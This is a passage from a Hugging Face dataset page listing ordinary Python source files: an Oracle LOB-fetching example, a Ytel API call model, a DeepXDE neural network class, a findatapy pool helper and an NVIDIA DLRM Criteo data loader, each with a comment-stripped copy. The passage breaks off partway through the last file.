fumiyau/python_comments_free_500000 · Datasets at Hugging Face

1c4206925a8873719c846bb49eb9fa449ed6ad0b

2,778

py

Python

python/return_lobs_as_strings.py

granadomoreno/oracle-db-examples

feac5d72f4a8534c9b3e848bdfc501c5b4c69268

[ "Apache-2.0" ]

1,071

2017-04-06T16:59:55.000Z

2022-03-25T21:10:58.000Z

python/return_lobs_as_strings.py

abhishektripathi27/oracle-db-examples

0812a65c7c974718ec5a04454b8a42f7c25bf2a8

[ "Apache-2.0" ]

71

2017-04-12T14:55:52.000Z

2022-02-22T17:08:18.000Z

python/return_lobs_as_strings.py

abhishektripathi27/oracle-db-examples

0812a65c7c974718ec5a04454b8a42f7c25bf2a8

[ "Apache-2.0" ]

749

2017-04-09T06:48:58.000Z

2022-03-23T00:28:26.000Z

#------------------------------------------------------------------------------ # Copyright (c) 2016, 2021, Oracle and/or its affiliates. All rights reserved. # # Portions Copyright 2007-2015, Anthony Tuininga. All rights reserved. # # Portions Copyright 2001-2007, Computronix (Canada) Ltd., Edmonton, Alberta, # Canada. All rights reserved. #------------------------------------------------------------------------------ #------------------------------------------------------------------------------ # return_lobs_as_strings.py # Returns all CLOB values as strings and BLOB values as bytes. The # performance of this technique is significantly better than fetching the LOBs # and then reading the contents of the LOBs as it avoids round-trips to the # database. Be aware, however, that this method requires contiguous memory so # is not usable for very large LOBs. # # This script requires cx_Oracle 5.0 and higher. #------------------------------------------------------------------------------ import cx_Oracle as oracledb import sample_env def output_type_handler(cursor, name, default_type, size, precision, scale): if default_type == oracledb.CLOB: return cursor.var(oracledb.LONG_STRING, arraysize=cursor.arraysize) if default_type == oracledb.BLOB: return cursor.var(oracledb.LONG_BINARY, arraysize=cursor.arraysize) connection = oracledb.connect(sample_env.get_main_connect_string()) connection.outputtypehandler = output_type_handler cursor = connection.cursor() # add some data to the tables print("Populating tables with data...") cursor.execute("truncate table TestClobs") cursor.execute("truncate table TestBlobs") long_string = "" for i in range(10): char = chr(ord('A') + i) long_string += char * 25000 # uncomment the line below for cx_Oracle 5.3 and earlier # cursor.setinputsizes(None, oracledb.LONG_STRING) cursor.execute("insert into TestClobs values (:1, :2)", (i + 1, "STRING " + long_string)) # uncomment the line below for cx_Oracle 5.3 and earlier # cursor.setinputsizes(None, oracledb.LONG_BINARY) cursor.execute("insert into TestBlobs values (:1, :2)", (i + 1, long_string.encode("ascii"))) connection.commit() # fetch the data and show the results print("CLOBS returned as strings") cursor.execute(""" select IntCol, ClobCol from TestClobs order by IntCol""") for int_col, value in cursor: print("Row:", int_col, "string of length", len(value)) print() print("BLOBS returned as bytes") cursor.execute(""" select IntCol, BlobCol from TestBlobs order by IntCol""") for int_col, value in cursor: print("Row:", int_col, "string of length", value and len(value) or 0)

38.583333

79

0.62887

import cx_Oracle as oracledb import sample_env def output_type_handler(cursor, name, default_type, size, precision, scale): if default_type == oracledb.CLOB: return cursor.var(oracledb.LONG_STRING, arraysize=cursor.arraysize) if default_type == oracledb.BLOB: return cursor.var(oracledb.LONG_BINARY, arraysize=cursor.arraysize) connection = oracledb.connect(sample_env.get_main_connect_string()) connection.outputtypehandler = output_type_handler cursor = connection.cursor() print("Populating tables with data...") cursor.execute("truncate table TestClobs") cursor.execute("truncate table TestBlobs") long_string = "" for i in range(10): char = chr(ord('A') + i) long_string += char * 25000 cursor.execute("insert into TestClobs values (:1, :2)", (i + 1, "STRING " + long_string)) cursor.execute("insert into TestBlobs values (:1, :2)", (i + 1, long_string.encode("ascii"))) connection.commit() print("CLOBS returned as strings") cursor.execute(""" select IntCol, ClobCol from TestClobs order by IntCol""") for int_col, value in cursor: print("Row:", int_col, "string of length", len(value)) print() print("BLOBS returned as bytes") cursor.execute(""" select IntCol, BlobCol from TestBlobs order by IntCol""") for int_col, value in cursor: print("Row:", int_col, "string of length", value and len(value) or 0)

true

1c4206db82fb99d15020a10c5521de38829b5ce7

8,324

py

Python

ytelapi/models/body.py

Ytel-Inc/YtelAPI-Python

139dc02d93e74c78b6c3d91e3002ae98e2270223

[ "MIT" ]

null

ytelapi/models/body.py

Ytel-Inc/YtelAPI-Python

139dc02d93e74c78b6c3d91e3002ae98e2270223

[ "MIT" ]

null

ytelapi/models/body.py

Ytel-Inc/YtelAPI-Python

139dc02d93e74c78b6c3d91e3002ae98e2270223

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ ytelapi This file was automatically generated by APIMATIC v2.0 ( https://apimatic.io ). """ class Body(object): """Implementation of the 'body' model. TODO: type model description here. Attributes: mfrom (string): A valid Ytel Voice enabled number (E.164 format) that will be initiating the phone call. to (string): To number url (string): URL requested once the call connects method (string): Specifies the HTTP method used to request the required URL once call connects. status_call_back_url (string): URL that can be requested to receive notification when call has ended. A set of default parameters will be sent here once the call is finished. status_call_back_method (string): Specifies the HTTP methodlinkclass used to request StatusCallbackUrl. fall_back_url (string): URL requested if the initial Url parameter fails or encounters an error fall_back_method (string): Specifies the HTTP method used to request the required FallbackUrl once call connects. heart_beat_url (string): URL that can be requested every 60 seconds during the call to notify of elapsed tim heart_beat_method (string): Specifies the HTTP method used to request HeartbeatUrl. timeout (int): Time (in seconds) Ytel should wait while the call is ringing before canceling the call play_dtmf (string): DTMF Digits to play to the call once it connects. 0-9, #, or * hide_caller_id (bool): Specifies if the caller id will be hidden record (bool): Specifies if the call should be recorded record_call_back_url (string): Recording parameters will be sent here upon completion record_call_back_method (string): Method used to request the RecordCallback URL. transcribe (bool): Specifies if the call recording should be transcribed transcribe_call_back_url (string): Transcription parameters will be sent here upon completion if_machine (IfMachineEnum): How Ytel should handle the receiving numbers voicemail machine if_machine_url (string): URL requested when IfMachine=continue if_machine_method (string): Method used to request the IfMachineUrl. feedback (bool): Specify if survey should be enable or not survey_id (string): The unique identifier for the survey. """ # Create a mapping from Model property names to API property names _names = { "mfrom":'From', "to":'To', "url":'Url', "method":'Method', "status_call_back_url":'StatusCallBackUrl', "status_call_back_method":'StatusCallBackMethod', "fall_back_url":'FallBackUrl', "fall_back_method":'FallBackMethod', "heart_beat_url":'HeartBeatUrl', "heart_beat_method":'HeartBeatMethod', "timeout":'Timeout', "play_dtmf":'PlayDtmf', "hide_caller_id":'HideCallerId', "record":'Record', "record_call_back_url":'RecordCallBackUrl', "record_call_back_method":'RecordCallBackMethod', "transcribe":'Transcribe', "transcribe_call_back_url":'TranscribeCallBackUrl', "if_machine":'IfMachine', "if_machine_url":'IfMachineUrl', "if_machine_method":'IfMachineMethod', "feedback":'Feedback', "survey_id":'SurveyId' } def __init__(self, mfrom=None, to=None, url=None, method=None, status_call_back_url=None, status_call_back_method=None, fall_back_url=None, fall_back_method=None, heart_beat_url=None, heart_beat_method=None, timeout=None, play_dtmf=None, hide_caller_id=None, record=None, record_call_back_url=None, record_call_back_method=None, transcribe=None, transcribe_call_back_url=None, if_machine=None, if_machine_url=None, if_machine_method=None, feedback=None, survey_id=None): """Constructor for the Body class""" # Initialize members of the class self.mfrom = mfrom self.to = to self.url = url self.method = method self.status_call_back_url = status_call_back_url self.status_call_back_method = status_call_back_method self.fall_back_url = fall_back_url self.fall_back_method = fall_back_method self.heart_beat_url = heart_beat_url self.heart_beat_method = heart_beat_method self.timeout = timeout self.play_dtmf = play_dtmf self.hide_caller_id = hide_caller_id self.record = record self.record_call_back_url = record_call_back_url self.record_call_back_method = record_call_back_method self.transcribe = transcribe self.transcribe_call_back_url = transcribe_call_back_url self.if_machine = if_machine self.if_machine_url = if_machine_url self.if_machine_method = if_machine_method self.feedback = feedback self.survey_id = survey_id @classmethod def from_dictionary(cls, dictionary): """Creates an instance of this model from a dictionary Args: dictionary (dictionary): A dictionary representation of the object as obtained from the deserialization of the server's response. The keys MUST match property names in the API description. Returns: object: An instance of this structure class. """ if dictionary is None: return None # Extract variables from the dictionary mfrom = dictionary.get('From') to = dictionary.get('To') url = dictionary.get('Url') method = dictionary.get('Method') status_call_back_url = dictionary.get('StatusCallBackUrl') status_call_back_method = dictionary.get('StatusCallBackMethod') fall_back_url = dictionary.get('FallBackUrl') fall_back_method = dictionary.get('FallBackMethod') heart_beat_url = dictionary.get('HeartBeatUrl') heart_beat_method = dictionary.get('HeartBeatMethod') timeout = dictionary.get('Timeout') play_dtmf = dictionary.get('PlayDtmf') hide_caller_id = dictionary.get('HideCallerId') record = dictionary.get('Record') record_call_back_url = dictionary.get('RecordCallBackUrl') record_call_back_method = dictionary.get('RecordCallBackMethod') transcribe = dictionary.get('Transcribe') transcribe_call_back_url = dictionary.get('TranscribeCallBackUrl') if_machine = dictionary.get('IfMachine') if_machine_url = dictionary.get('IfMachineUrl') if_machine_method = dictionary.get('IfMachineMethod') feedback = dictionary.get('Feedback') survey_id = dictionary.get('SurveyId') # Return an object of this model return cls(mfrom, to, url, method, status_call_back_url, status_call_back_method, fall_back_url, fall_back_method, heart_beat_url, heart_beat_method, timeout, play_dtmf, hide_caller_id, record, record_call_back_url, record_call_back_method, transcribe, transcribe_call_back_url, if_machine, if_machine_url, if_machine_method, feedback, survey_id)

40.407767

84

0.59827

class Body(object): _names = { "mfrom":'From', "to":'To', "url":'Url', "method":'Method', "status_call_back_url":'StatusCallBackUrl', "status_call_back_method":'StatusCallBackMethod', "fall_back_url":'FallBackUrl', "fall_back_method":'FallBackMethod', "heart_beat_url":'HeartBeatUrl', "heart_beat_method":'HeartBeatMethod', "timeout":'Timeout', "play_dtmf":'PlayDtmf', "hide_caller_id":'HideCallerId', "record":'Record', "record_call_back_url":'RecordCallBackUrl', "record_call_back_method":'RecordCallBackMethod', "transcribe":'Transcribe', "transcribe_call_back_url":'TranscribeCallBackUrl', "if_machine":'IfMachine', "if_machine_url":'IfMachineUrl', "if_machine_method":'IfMachineMethod', "feedback":'Feedback', "survey_id":'SurveyId' } def __init__(self, mfrom=None, to=None, url=None, method=None, status_call_back_url=None, status_call_back_method=None, fall_back_url=None, fall_back_method=None, heart_beat_url=None, heart_beat_method=None, timeout=None, play_dtmf=None, hide_caller_id=None, record=None, record_call_back_url=None, record_call_back_method=None, transcribe=None, transcribe_call_back_url=None, if_machine=None, if_machine_url=None, if_machine_method=None, feedback=None, survey_id=None): self.mfrom = mfrom self.to = to self.url = url self.method = method self.status_call_back_url = status_call_back_url self.status_call_back_method = status_call_back_method self.fall_back_url = fall_back_url self.fall_back_method = fall_back_method self.heart_beat_url = heart_beat_url self.heart_beat_method = heart_beat_method self.timeout = timeout self.play_dtmf = play_dtmf self.hide_caller_id = hide_caller_id self.record = record self.record_call_back_url = record_call_back_url self.record_call_back_method = record_call_back_method self.transcribe = transcribe self.transcribe_call_back_url = transcribe_call_back_url self.if_machine = if_machine self.if_machine_url = if_machine_url self.if_machine_method = if_machine_method self.feedback = feedback self.survey_id = survey_id @classmethod def from_dictionary(cls, dictionary): if dictionary is None: return None mfrom = dictionary.get('From') to = dictionary.get('To') url = dictionary.get('Url') method = dictionary.get('Method') status_call_back_url = dictionary.get('StatusCallBackUrl') status_call_back_method = dictionary.get('StatusCallBackMethod') fall_back_url = dictionary.get('FallBackUrl') fall_back_method = dictionary.get('FallBackMethod') heart_beat_url = dictionary.get('HeartBeatUrl') heart_beat_method = dictionary.get('HeartBeatMethod') timeout = dictionary.get('Timeout') play_dtmf = dictionary.get('PlayDtmf') hide_caller_id = dictionary.get('HideCallerId') record = dictionary.get('Record') record_call_back_url = dictionary.get('RecordCallBackUrl') record_call_back_method = dictionary.get('RecordCallBackMethod') transcribe = dictionary.get('Transcribe') transcribe_call_back_url = dictionary.get('TranscribeCallBackUrl') if_machine = dictionary.get('IfMachine') if_machine_url = dictionary.get('IfMachineUrl') if_machine_method = dictionary.get('IfMachineMethod') feedback = dictionary.get('Feedback') survey_id = dictionary.get('SurveyId') return cls(mfrom, to, url, method, status_call_back_url, status_call_back_method, fall_back_url, fall_back_method, heart_beat_url, heart_beat_method, timeout, play_dtmf, hide_caller_id, record, record_call_back_url, record_call_back_method, transcribe, transcribe_call_back_url, if_machine, if_machine_url, if_machine_method, feedback, survey_id)

true

1c4206f4baef4d3380d19223d4bb597733644ce4

1,491

py

Python

deepxde/maps/tensorflow/fnn.py

fabyayu/deepxde

89880a4c61586512c87cabd1e7a3bdbaedf0feab

[ "Apache-2.0" ]

null

deepxde/maps/tensorflow/fnn.py

fabyayu/deepxde

89880a4c61586512c87cabd1e7a3bdbaedf0feab

[ "Apache-2.0" ]

null

deepxde/maps/tensorflow/fnn.py

fabyayu/deepxde

89880a4c61586512c87cabd1e7a3bdbaedf0feab

[ "Apache-2.0" ]

null

from __future__ import absolute_import from __future__ import division from __future__ import print_function from .nn import NN from .. import activations from .. import initializers from .. import regularizers from ...backend import tf class FNN(NN): """Fully-connected neural network.""" def __init__( self, layer_sizes, activation, kernel_initializer, regularization=None ): super(FNN, self).__init__() self.regularizer = regularizers.get(regularization) self.denses = [] activation = activations.get(activation) initializer = initializers.get(kernel_initializer) for units in layer_sizes[1:-1]: self.denses.append( tf.keras.layers.Dense( units, activation=activation, kernel_initializer=initializer, kernel_regularizer=self.regularizer, ) ) self.denses.append( tf.keras.layers.Dense( layer_sizes[-1], kernel_initializer=initializer, kernel_regularizer=self.regularizer, ) ) def call(self, inputs, training=False): y = inputs if self._input_transform is not None: y = self._input_transform(y) for f in self.denses: y = f(y) if self._output_transform is not None: y = self._output_transform(inputs, y) return y

29.82

78

0.593561

from __future__ import absolute_import from __future__ import division from __future__ import print_function from .nn import NN from .. import activations from .. import initializers from .. import regularizers from ...backend import tf class FNN(NN): def __init__( self, layer_sizes, activation, kernel_initializer, regularization=None ): super(FNN, self).__init__() self.regularizer = regularizers.get(regularization) self.denses = [] activation = activations.get(activation) initializer = initializers.get(kernel_initializer) for units in layer_sizes[1:-1]: self.denses.append( tf.keras.layers.Dense( units, activation=activation, kernel_initializer=initializer, kernel_regularizer=self.regularizer, ) ) self.denses.append( tf.keras.layers.Dense( layer_sizes[-1], kernel_initializer=initializer, kernel_regularizer=self.regularizer, ) ) def call(self, inputs, training=False): y = inputs if self._input_transform is not None: y = self._input_transform(y) for f in self.denses: y = f(y) if self._output_transform is not None: y = self._output_transform(inputs, y) return y

true

1c4206f867f69dc25479bad4a9991f1cae1d265c

3,608

py

Python

findatapy/util/swimpool.py

mrderdelo/findatapy

5f619b372654a0246d6c12efedb286b237dba1a8

[ "Apache-2.0" ]

null

findatapy/util/swimpool.py

mrderdelo/findatapy

5f619b372654a0246d6c12efedb286b237dba1a8

[ "Apache-2.0" ]

null

findatapy/util/swimpool.py

mrderdelo/findatapy

5f619b372654a0246d6c12efedb286b237dba1a8

[ "Apache-2.0" ]

null

__author__ = "saeedamen" # Saeed Amen # # Copyright 2016 Cuemacro # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy of # the License at http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on a "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. # from findatapy.util import DataConstants class SwimPool(object): """Creating thread and process pools in a generic way. Allows users to specify the underlying thread or multiprocess library they wish to use. Note you can share Pool objects between processes. """ def __init__(self, multiprocessing_library=None): self._pool = None if multiprocessing_library is None: multiprocessing_library = DataConstants().multiprocessing_library self._multiprocessing_library = multiprocessing_library self._thread_technique = 'na' if multiprocessing_library == 'multiprocess': try: import multiprocess; multiprocess.freeze_support() except: pass elif multiprocessing_library == 'multiprocessing_on_dill': try: import multiprocessing_on_dill; multiprocessing_on_dill.freeze_support() except: pass elif multiprocessing_library == 'multiprocessing': try: import multiprocessing; multiprocessing.freeze_support() except: pass def create_pool(self, thread_technique, thread_no, force_new=True, run_in_parallel=True): self._thread_technique = thread_technique if not (force_new) and self._pool is not None: return self._pool if thread_technique == "thread" or run_in_parallel == False: from multiprocessing.dummy import Pool elif thread_technique == "multiprocessing": # most of the time is spend waiting for Bloomberg to return, so can use threads rather than multiprocessing # must use the multiprocessing_on_dill library otherwise can't pickle objects correctly # note: currently not very stable if self._multiprocessing_library == 'multiprocessing_on_dill': from multiprocessing_on_dill import Pool elif self._multiprocessing_library == 'multiprocess': from multiprocess import Pool elif self._multiprocessing_library == 'multiprocessing': from multiprocessing import Pool elif self._multiprocessing_library == 'pathos': from pathos.multiprocessing import Pool # from pathos.pools import ProcessPool as Pool elif self._multiprocessing_library == 'billiard': from billiard.pool import Pool if run_in_parallel == False: thread_no = 1 self._pool = Pool(thread_no) return self._pool def close_pool(self, pool, force_process_respawn=False): if pool is not None: if (self._thread_technique != 'multiprocessing' and self._multiprocessing_library != 'pathos') \ or force_process_respawn: pool.close() pool.join()

37.978947

119

0.650499

__author__ = "saeedamen" from findatapy.util import DataConstants class SwimPool(object): def __init__(self, multiprocessing_library=None): self._pool = None if multiprocessing_library is None: multiprocessing_library = DataConstants().multiprocessing_library self._multiprocessing_library = multiprocessing_library self._thread_technique = 'na' if multiprocessing_library == 'multiprocess': try: import multiprocess; multiprocess.freeze_support() except: pass elif multiprocessing_library == 'multiprocessing_on_dill': try: import multiprocessing_on_dill; multiprocessing_on_dill.freeze_support() except: pass elif multiprocessing_library == 'multiprocessing': try: import multiprocessing; multiprocessing.freeze_support() except: pass def create_pool(self, thread_technique, thread_no, force_new=True, run_in_parallel=True): self._thread_technique = thread_technique if not (force_new) and self._pool is not None: return self._pool if thread_technique == "thread" or run_in_parallel == False: from multiprocessing.dummy import Pool elif thread_technique == "multiprocessing": # note: currently not very stable if self._multiprocessing_library == 'multiprocessing_on_dill': from multiprocessing_on_dill import Pool elif self._multiprocessing_library == 'multiprocess': from multiprocess import Pool elif self._multiprocessing_library == 'multiprocessing': from multiprocessing import Pool elif self._multiprocessing_library == 'pathos': from pathos.multiprocessing import Pool # from pathos.pools import ProcessPool as Pool elif self._multiprocessing_library == 'billiard': from billiard.pool import Pool if run_in_parallel == False: thread_no = 1 self._pool = Pool(thread_no) return self._pool def close_pool(self, pool, force_process_respawn=False): if pool is not None: if (self._thread_technique != 'multiprocessing' and self._multiprocessing_library != 'pathos') \ or force_process_respawn: pool.close() pool.join()

true

1c420711beff9837696decc0b73a04ed0db8b294

14,316

py

Python

NVIDIA/benchmarks/dlrm/implementations/pytorch/dlrm/data/dataset.py

goswamig/training_results_v0.7

4278ce8a0f3d4db6b5e6054277724ca36278d7a3

[ "Apache-2.0" ]

48

2020-07-29T18:09:23.000Z

2021-10-09T01:53:33.000Z

NVIDIA/benchmarks/dlrm/implementations/pytorch/dlrm/data/dataset.py

goswamig/training_results_v0.7

4278ce8a0f3d4db6b5e6054277724ca36278d7a3

[ "Apache-2.0" ]

9

2021-04-02T02:28:07.000Z

2022-03-26T18:23:59.000Z

NVIDIA/benchmarks/dlrm/implementations/pytorch/dlrm/data/dataset.py

lablup/training_results_v0.7

f5bb59aa0f8b18b602763abe47d1d24d0d54b197

[ "Apache-2.0" ]

42

2020-08-01T06:41:24.000Z

2022-01-20T10:33:08.000Z

import concurrent import functools import math import os import queue import numpy as np from dlrm import mlperf_logger import torch from torch.utils.data import Dataset from dlrm.utils import distributed as dist def get_data_loader(dataset_path, batch_size, test_batch_size, return_device="cuda", dataset_type="bin", num_workers=0, shuffle=False, **kwargs): """Create data loaders Args: dataset_path (str): Path to dataset, train_data.bin and test_data.bin must exist under dataset_path. batch_size (int): Training batch size test_batch_size (int): Test batch size return_device (str): Where to put the returned data. Default 'cuda' dataset_type (str): One of ["bin", "memmap", "dist"] indicates which dataset to use. Default "bin". num_works (int): Default 0 shuffle (bool): If True, shuffle batch order. Default False. Keyword Arguments: numerical_features(boolean): If True, load numerical features for bottom_mlp. Default False categorical_features (list or None): categorical features used by the rank Returns: data_loader_train (DataLoader): data_loader_test (DataLoader): """ train_dataset_bin = os.path.join(dataset_path, "train_data.bin") test_dataset_bin = os.path.join(dataset_path, "test_data.bin") if dataset_type == 'bin': dataset_train = CriteoBinDataset(train_dataset_bin, batch_size=batch_size, shuffle=shuffle) dataset_test = CriteoBinDataset(test_dataset_bin, batch_size=test_batch_size) elif dataset_type == 'memmap': dataset_train = CriteoMemmapDataset(train_dataset_bin, batch_size=batch_size, shuffle=shuffle) dataset_test = CriteoMemmapDataset(test_dataset_bin, batch_size=test_batch_size) elif dataset_type == 'dist': dataset_train = DistCriteoDataset( os.path.join(dataset_path, "train"), batch_size=batch_size, shuffle=shuffle, **kwargs) if hasattr(dataset_train, 'num_samples'): mlperf_logger.log_event(key=mlperf_logger.constants.TRAIN_SAMPLES, value=dataset_train.num_samples) dataset_test = DistCriteoDataset( os.path.join(dataset_path, "test"), batch_size=test_batch_size, **kwargs) if hasattr(dataset_test, 'num_samples'): mlperf_logger.log_event(key=mlperf_logger.constants.EVAL_SAMPLES, value=dataset_test.num_samples) data_loader_args = dict( batch_size=None, num_workers=num_workers, pin_memory=False, collate_fn=functools.partial(data_collate_fn, device=return_device, orig_stream=torch.cuda.current_stream())) data_loader_train = torch.utils.data.DataLoader(dataset_train, **data_loader_args) data_loader_test = torch.utils.data.DataLoader(dataset_test, **data_loader_args) return data_loader_train, data_loader_test def _dist_permutation(size): """Generate permutation for dataset shuffle Args: size (int): Size and high value of permutation Returns: permutation (ndarray): """ if dist.get_world_size() > 1: # To guarantee all ranks have the same same permutation, generating it from rank 0 and sync # to other rank by writing to disk permutation_file = "/tmp/permutation.npy" if dist.get_local_rank() == 0: np.save(permutation_file, np.random.permutation(size)) torch.distributed.barrier() permutation = np.load(permutation_file) else: permutation = np.random.permutation(size) return permutation class CriteoBinDataset(Dataset): """Binary version of criteo dataset. Main structure is copied from reference. With following changes: - Removed unnecessary things, like counts_file which is not really used in training. - _transform_features is removed, doing it on GPU is much faster. """ def __init__(self, data_file, batch_size=1, bytes_per_feature=4, shuffle=False): # dataset. single target, 13 dense features, 26 sparse features self.tad_fea = 1 + 13 self.tot_fea = 1 + 13 + 26 self.batch_size = batch_size self.bytes_per_batch = (bytes_per_feature * self.tot_fea * batch_size) self.num_batches = math.ceil(os.path.getsize(data_file) / self.bytes_per_batch) print('data file:', data_file, 'number of batches:', self.num_batches) self.file = open(data_file, 'rb', buffering=0) if shuffle: self.permutation = _dist_permutation(self.num_batches - 1) else: self.permutation = None def __len__(self): return self.num_batches def __getitem__(self, idx): if self.permutation is not None and idx != self.num_batches - 1: idx = self.permutation[idx] self.file.seek(idx * self.bytes_per_batch, 0) raw_data = self.file.read(self.bytes_per_batch) array = np.frombuffer(raw_data, dtype=np.int32) tensor = torch.from_numpy(array).view((-1, self.tot_fea)) return tensor def __del__(self): self.file.close() class CriteoMemmapDataset(Dataset): """Memmap version of criteo dataset Accessing sequentially is a lot faster on memmap Args: data_file (str): Full path to binary file of dataset batch_size (int): bytes_per_feature (int): Default 4 shuffle (bool): If True, shuffle batch order by creating a permutation. Default False """ def __init__(self, data_file, batch_size, bytes_per_feature=4, shuffle=False): self.record_width = 40 # 13 numerical, 26 categorical, 1 label self.batch_size = batch_size bytes_per_batch = (bytes_per_feature * self.record_width * batch_size) self.num_batches = math.ceil(os.path.getsize(data_file) / bytes_per_batch) if shuffle: self.permutation = _dist_permutation(self.num_batches - 1) else: self.permutation = None self.mmap = np.memmap(data_file, dtype=np.int32, mode='r') def __len__(self): return self.num_batches def __getitem__(self, idx): if self.permutation is not None and idx != self.num_batches - 1: idx = self.permutation[idx] start_idx = idx * (self.batch_size * self.record_width) end_idx = min((idx + 1) * (self.batch_size * self.record_width), self.mmap.shape[0]) array = self.mmap[start_idx:end_idx] tensor = torch.from_numpy(array).reshape(-1, self.record_width) return tensor class DistCriteoDataset(Dataset): """Distributed version of Criteo dataset Args: data_path (str): Full path to split binary file of dataset. It must contain numerical.bin, label.bin and cat_0 ~ cat_25.bin batch_size (int): shuffle (boolean): numerical_features(boolean): If True, load numerical features for bottom_mlp. Default False categorical_features (list or None): categorical features used by the rank prefetch_depth (int): How many samples to prefetch. Default 10. """ def __init__(self, data_path, batch_size=1, shuffle=False, numerical_features=False, categorical_features=None, prefetch_depth=10): bytes_per_label = 4 self.bytes_per_batch = { "label": bytes_per_label * batch_size, "numerical": 13 * 4 * batch_size if numerical_features else 0, "categorical": 4 * batch_size if categorical_features is not None else 0 } self.batch_size = batch_size self.label_file = os.open(os.path.join(data_path, F"label.bin"), os.O_RDONLY) label_file_size = os.fstat(self.label_file).st_size self.num_samples = int(label_file_size / bytes_per_label) self.num_batches = math.ceil(label_file_size / self.bytes_per_batch["label"]) if numerical_features: self.numerical_features_file = os.open(os.path.join(data_path, "numerical.bin"), os.O_RDONLY) if math.ceil(os.fstat(self.numerical_features_file).st_size / self.bytes_per_batch["numerical"]) != self.num_batches: raise ValueError("Size miss match in data files") else: self.numerical_features_file = None if categorical_features is not None and categorical_features: self.categorical_features_files = [] for cat_id in categorical_features: cat_file = os.open(os.path.join(data_path, F"cat_{cat_id}.bin"), os.O_RDONLY) if math.ceil( os.fstat(cat_file).st_size / self.bytes_per_batch["categorical"]) != self.num_batches: raise ValueError("Size miss match in data files") self.categorical_features_files.append(cat_file) else: self.categorical_features_files = None if shuffle: self.permutation = _dist_permutation(self.num_batches - 1) else: self.permutation = None self.prefetch_depth = min(prefetch_depth, self.num_batches) self.prefetch_queue = queue.Queue() self.executor = concurrent.futures.ThreadPoolExecutor(max_workers=1) def __len__(self): return self.num_batches def getitem(self, idx): if self.permutation is not None and idx != self.num_batches - 1: idx = self.permutation[idx] raw_label_data = os.pread( self.label_file, self.bytes_per_batch["label"], idx * self.bytes_per_batch["label"]) click = torch.from_numpy(np.frombuffer(raw_label_data, dtype=np.float32)) if self.numerical_features_file is not None: raw_numerical_data = os.pread( self.numerical_features_file, self.bytes_per_batch["numerical"], idx * self.bytes_per_batch["numerical"]) numerical_features = torch.from_numpy(np.frombuffer(raw_numerical_data, dtype=np.float32)).view(-1, 13) else: numerical_features = None if self.categorical_features_files is not None: categorical_features = [] for cat_file in self.categorical_features_files: raw_cat_data = os.pread( cat_file, self.bytes_per_batch["categorical"], idx * self.bytes_per_batch["categorical"]) categorical_features.append(torch.from_numpy(np.frombuffer(raw_cat_data, dtype=np.int32)).unsqueeze(1)) categorical_features = torch.cat(categorical_features, dim=1) else: categorical_features = None return click, numerical_features, categorical_features def __getitem__(self, idx): if self.prefetch_depth <= 1: return self.getitem(idx) if idx == 0: # Prefetch triggers MLperf timer. So start prefetch on first iter instead of in constructor. for i in range(self.prefetch_depth): self.prefetch_queue.put(self.executor.submit(self.getitem, (i))) if idx < self.num_batches - self.prefetch_depth: self.prefetch_queue.put(self.executor.submit(self.getitem, (idx + self.prefetch_depth))) return self.prefetch_queue.get().result() def __del__(self): os.close(self.label_file) if self.numerical_features_file is not None: os.close(self.numerical_features_file) if self.categorical_features_files is not None: for cat_file in self.categorical_features_files: os.close(cat_file) def data_collate_fn(batch_data, device="cuda", orig_stream=None): """Split raw batch data to features and labels Args: batch_data (Tensor): One batch of data from CriteoBinDataset. device (torch.device): Output device. If device is GPU, split data on GPU is much faster. orig_stream (torch.cuda.Stream): CUDA stream that data processing will be run in. Returns: numerical_features (Tensor): categorical_features (Tensor): click (Tensor): """ if not isinstance(batch_data, torch.Tensor): # Distributed pass if batch_data[1] is not None: numerical_features = torch.log(batch_data[1].to(device, non_blocking=True) + 1.).squeeze() else: # There are codes rely on numerical_features' dtype numerical_features = torch.empty(batch_data[0].shape[0], 13, dtype=torch.float32, device=device) if batch_data[2] is not None: categorical_features = batch_data[2].to(device, non_blocking=True) else: categorical_features = None click = batch_data[0].to(device, non_blocking=True).squeeze() else: batch_data = batch_data.to(device, non_blocking=True).split([1, 13, 26], dim=1) numerical_features = torch.log(batch_data[1].to(torch.float32) + 1.).squeeze() categorical_features = batch_data[2].to(torch.long) click = batch_data[0].to(torch.float32).squeeze() # record_stream() prevents data being unintentionally reused. Aslo NOTE that it may not work # with num_works >=1 in the DataLoader when use this data_collate_fn() as collate function. if orig_stream is not None: numerical_features.record_stream(orig_stream) if categorical_features is not None: categorical_features.record_stream(orig_stream) click.record_stream(orig_stream) return numerical_features, categorical_features, click def prefetcher(load_iterator, prefetch_stream): def _prefetch(): with torch.cuda.stream(prefetch_stream): try: data_batch = next(load_iterator) except StopIteration: return None return data_batch next_data_batch = _prefetch() while next_data_batch is not None: torch.cuda.current_stream().wait_stream(prefetch_stream) data_batch = next_data_batch next_data_batch = _prefetch() yield data_batch

40.326761

119

0.656538

import concurrent import functools import math import os import queue import numpy as np from dlrm import mlperf_logger import torch from torch.utils.data import Dataset from dlrm.utils import distributed as dist def get_data_loader(dataset_path, batch_size, test_batch_size, return_device="cuda", dataset_type="bin", num_workers=0, shuffle=False, **kwargs): train_dataset_bin = os.path.join(dataset_path, "train_data.bin") test_dataset_bin = os.path.join(dataset_path, "test_data.bin") if dataset_type == 'bin': dataset_train = CriteoBinDataset(train_dataset_bin, batch_size=batch_size, shuffle=shuffle) dataset_test = CriteoBinDataset(test_dataset_bin, batch_size=test_batch_size) elif dataset_type == 'memmap': dataset_train = CriteoMemmapDataset(train_dataset_bin, batch_size=batch_size, shuffle=shuffle) dataset_test = CriteoMemmapDataset(test_dataset_bin, batch_size=test_batch_size) elif dataset_type == 'dist': dataset_train = DistCriteoDataset( os.path.join(dataset_path, "train"), batch_size=batch_size, shuffle=shuffle, **kwargs) if hasattr(dataset_train, 'num_samples'): mlperf_logger.log_event(key=mlperf_logger.constants.TRAIN_SAMPLES, value=dataset_train.num_samples) dataset_test = DistCriteoDataset( os.path.join(dataset_path, "test"), batch_size=test_batch_size, **kwargs) if hasattr(dataset_test, 'num_samples'): mlperf_logger.log_event(key=mlperf_logger.constants.EVAL_SAMPLES, value=dataset_test.num_samples) data_loader_args = dict( batch_size=None, num_workers=num_workers, pin_memory=False, 